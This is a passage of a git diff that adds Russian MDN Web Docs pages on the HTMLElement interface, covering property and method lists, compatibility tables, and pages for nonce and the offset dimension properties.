+ <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt>
+ <dd>Returns an {{jsxref("Object")}}…</dd>
+ <dt>{{domxref("HTMLElement.lang")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the language of an element's attributes, text, and element contents.</dd>
+ <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code> containing the height of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's left border to its <code>offsetParent</code>'s left border.</dd>
+ <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the element from which all offset calculations are currently computed.</dd>
+ <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's top border to its <code>offsetParent</code>'s top border.</dd>
+ <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code> containing the width of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("HTMLPropertiesCollection")}}…</dd>
+ <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that controls <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">spell-checking</a>. It is present on all HTML elements, though it hasn't an effect on all of them.</dd>
+ <dt>{{domxref("HTMLElement.style")}}</dt>
+ <dd>Is {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.</dd>
+ <dt>{{domxref("HTMLElement.tabIndex")}}</dt>
+ <dd>Is a <code>long</code> representing the position of the element in the tabbing order.</dd>
+ <dt>{{domxref("HTMLElement.title")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.</dd>
+ <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}}</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p>Most events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}}, implemented by <code>HTMLElement</code>. A few more are specific to <code>HTMLElement</code>.</p>
+
+<dl>
+ <dt>{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>copy</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>cut</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>paste</code> event ({{bug("280959")}}).</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchend")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Element")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>Removes keyboard focus from the currently focused element.</dd>
+ <dt>{{domxref("HTMLElement.click()")}}</dt>
+ <dd>Sends a mouse click event to the element.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>Makes the element the current keyboard focus.</dd>
+ <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt>
+ <dd>Makes the spell checker runs on the element.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the following properties: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Added the following properties: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, and <code>itemValue</code>.<br>
+    Added the following method: <code>forceSpellcheck()</code>.<br>
+    Moved the <code>onXYZ</code> attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Added the following properties: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, and all the <code>onXYZ</code> properties.<br>
+    Moved the <code>id</code> and <code>className</code> properties to the {{domxref("Element")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName('DOM2 HTML')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>17.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.10</a>)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoDesktop("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}{{WebkitBug(72715)}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.24</a>)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.contentEditable", "contentEditable")}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5.5</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.spellcheck", "spellcheck")}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.style", "style")}}</td>
+   <td>{{CompatVersionUnknown}} (returns a {{domxref("CSS2Properties")}}, rather than a {{domxref("CSSStyleDeclaration")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>8.0</td>
+   <td>11</td>
+   <td>11.10</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.draggable", "draggable")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dropzone", "dropzone")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.60<br>
+    (Removed in Opera 15)</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatGeckoMobile("1.0")}}</p>
+   </td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+   <td>{{CompatGeckoMobile("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/nonce/index.html b/files/ru/web/api/htmlelement/nonce/index.html
new file mode 100644
index 0000000000..e47f3aea23
--- /dev/null
+++ b/files/ru/web/api/htmlelement/nonce/index.html
@@ -0,0 +1,44 @@
+---
+title: HTMLElement.nonce
+slug: Web/API/HTMLElement/nonce
+translation_of: Web/API/HTMLOrForeignElement/nonce
+---
+<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p>
+
+<p>Свойство <strong><code>nonce</code></strong> интерфейса {{domxref("HTMLElement")}} возвращает криптографический номер, который используется политикой безопасности содержимого для определения того, будет ли разрешена дальнейшая работа с данной выборкой.</p>
+
+<p>В более поздних реализациях элементы, имеющие атрибут nonce, предоставляют его только скриптам (а не сторонним каналам, таким как селекторы атрибутов CSS).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>nonce</em> = HTMLElement.nonce
+HTMLElement.nonce = <em>nonce</em></pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Криптографический код.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.HTMLElement.nonce")}}</p>
+</div>
diff --git a/files/ru/web/api/htmlelement/offsetheight/index.html b/files/ru/web/api/htmlelement/offsetheight/index.html
new file mode 100644
index 0000000000..e8d14948a9
--- /dev/null
+++ b/files/ru/web/api/htmlelement/offsetheight/index.html
@@ -0,0 +1,71 @@
+---
+title: HTMLElement.offsetHeight
+slug: Web/API/HTMLElement/offsetHeight
+translation_of: Web/API/HTMLElement/offsetHeight
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLElement.offsetHeight</code></strong> - высота элемента с учетом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.</p>
+
+<p>Typically, an element's <code>offsetHeight</code> is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.</p>
+
+<p>For the document body object, the measurement includes total linear content height instead of the element CSS height. Floated elements extending below other linear content are ignored.</p>
+
+<div class="note">
+<p>This property will round the value to an integer. If you need a fractional value, use {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Syntax</h2>
+
+<pre class="eval">var <em>intElemOffsetHeight</em> = document.getElementById(<em>id_attribute_value</em>).offsetHeight;
+</pre>
+
+<p><em>intElemOffsetHeight</em> is a variable storing an integer corresponding to the offsetHeight pixel value of the element. The offsetHeight property is readonly.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+
+<p>The example image above shows a scrollbar and an offsetHeight which fits on the window. However, non-scrollable elements may have large offsetHeight values, much larger than the visible content. These elements are typically contained within scrollable elements; consequently these non-scrollable elements may be completely or partly invisible, depending on the scrollTop setting of the scrollable container.</p>
+
+<p> </p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetHeight', 'offsetLeft')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p><code>offsetHeight</code> is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred to as an element's physical/graphical dimensions, or an element's border-box height.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.HTMLElement.offsetHeight")}}</p>
+
+<h2 id="See_Also" name="See_Also">See Also</h2>
+
+<ul>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/offsetleft/index.html b/files/ru/web/api/htmlelement/offsetleft/index.html
new file mode 100644
index 0000000000..ded2335950
--- /dev/null
+++ b/files/ru/web/api/htmlelement/offsetleft/index.html
@@ -0,0 +1,81 @@
+---
+title: HTMLElement.offsetLeft
+slug: Web/API/HTMLElement/offsetLeft
+translation_of: Web/API/HTMLElement/offsetLeft
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Свойство <strong>offsetLeft</strong> содержит левое смещение элемента относительно offsetParent. Содержит расстояние от offsetParent до границы элемента.</p>
+
+<p>For block-level elements, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code> describe the border box of an element relative to the <code>offsetParent</code>.</p>
+
+<p>However, for inline-level elements (such as <strong>span</strong>) that can wrap from one line to the next, <code>offsetTop</code> and <code>offsetLeft</code> describe the positions of the <em>first</em> border box (use {{domxref("Element.getClientRects()")}} to get its width and height), while <code>offsetWidth</code> and <code>offsetHeight</code> describe the dimensions of the <em>bounding</em> border box (use {{domxref("Element.getBoundingClientRect()")}} to get its position). Therefore, a box with the left, top, width and height of <code>offsetLeft</code>, <code>offsetTop</code>, <code>offsetWidth</code> and <code>offsetHeight</code> will not be a bounding box for a span with wrapped text.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval notranslate"><var>left</var> = <var>element</var>.offsetLeft;
+</pre>
+
+<p><code><var>left</var></code> is an integer representing the offset to the left in pixels <em>from the closest relatively positioned</em> parent element.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js notranslate">var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft &gt; 5) {
+  // large left offset: do something here
+}
+</pre>
+
+<p>This example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.</p>
+
+<p><img alt="Image:offsetLeft.jpg" class="internal" src="/@api/deki/files/790/=OffsetLeft.jpg"></p>
+
+<pre class="brush: html notranslate">&lt;div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"&gt;
+  &lt;span&gt;Short span. &lt;/span&gt;
+  &lt;span id="longspan"&gt;Long span that wraps within this div.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="box" style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10"&gt;
+&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+  var box = document.getElementById("box");
+  var longspan = document.getElementById("longspan");
+  box.style.left = longspan.offsetLeft + document.body.scrollLeft + "px";
+  box.style.top = longspan.offsetTop + document.body.scrollTop + "px";
+  box.style.width = longspan.offsetWidth + "px";
+  box.style.height = longspan.offsetHeight<span style="line-height: normal;"> + "px"</span><span style="line-height: normal;">;
+</span><span style="line-height: normal;">&lt;/script&gt; </span></pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetleft', 'offsetLeft')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.offsetLeft")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetParent")}}, {{domxref("HTMLElement.offsetTop")}}, {{domxref("HTMLElement.offsetWidth")}}, {{domxref("HTMLElement.offsetHeight")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/offsettop/index.html b/files/ru/web/api/htmlelement/offsettop/index.html
new file mode 100644
index 0000000000..e001d4e951
--- /dev/null
+++ b/files/ru/web/api/htmlelement/offsettop/index.html
@@ -0,0 +1,56 @@
+---
+title: HTMLElement.offsetTop
+slug: Web/API/HTMLElement/offsetTop
+translation_of: Web/API/HTMLElement/offsetTop
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLElement.offsetTop - </code></strong><code>свойство элемента доступно только для чтения,</code> возвращает расстояние текущего элемента по отношению к верхней части {{domxref("HTMLelement.offsetParent","offsetParent")}} узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>topPos</var> = element.offsetTop;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>topPos</code> - <code>это количество пикселей на которые делается отступ сверху, отсносительно родительского элемента.</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var d = document.getElementById("div1");
+var topPos = d.offsetTop;
+
+if (topPos &gt; 10) {
+  // объект имеет отступ больше
+  // чем 10 пикселей относительно своего родителя
+}</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsettop', 'offsetTop')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility" name="Compatibility">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.offsetTop")}}</p>
diff --git a/files/ru/web/api/htmlelement/offsetwidth/index.html b/files/ru/web/api/htmlelement/offsetwidth/index.html
new file mode 100644
index 0000000000..d39fed6fb1
--- /dev/null
+++ b/files/ru/web/api/htmlelement/offsetwidth/index.html
@@ -0,0 +1,65 @@
+---
+title: HTMLElement.offsetWidth
+slug: Web/API/HTMLElement/offsetWidth
+translation_of: Web/API/HTMLElement/offsetWidth
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Свойство <code><strong>HTMLElement.offsetWidth</strong></code> возвращает ширину элемента. Как правило, <code>offsetWidth</code> — это значение, включающее горизонтальный отступ элемента, ширину вертикального скроллбара (если он есть) и CSS ширину.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var<em> offsetWidth</em> = <em>element</em>.offsetWidth;
+</pre>
+
+<p><code>offsetWidth</code> — свойство только для чтения</p>
+
+<div class="note">
+<p>Это свойство возвращает целочисленное значение. Если вам требуется дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetwidth', 'offsetWidth')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Примечание</h3>
+
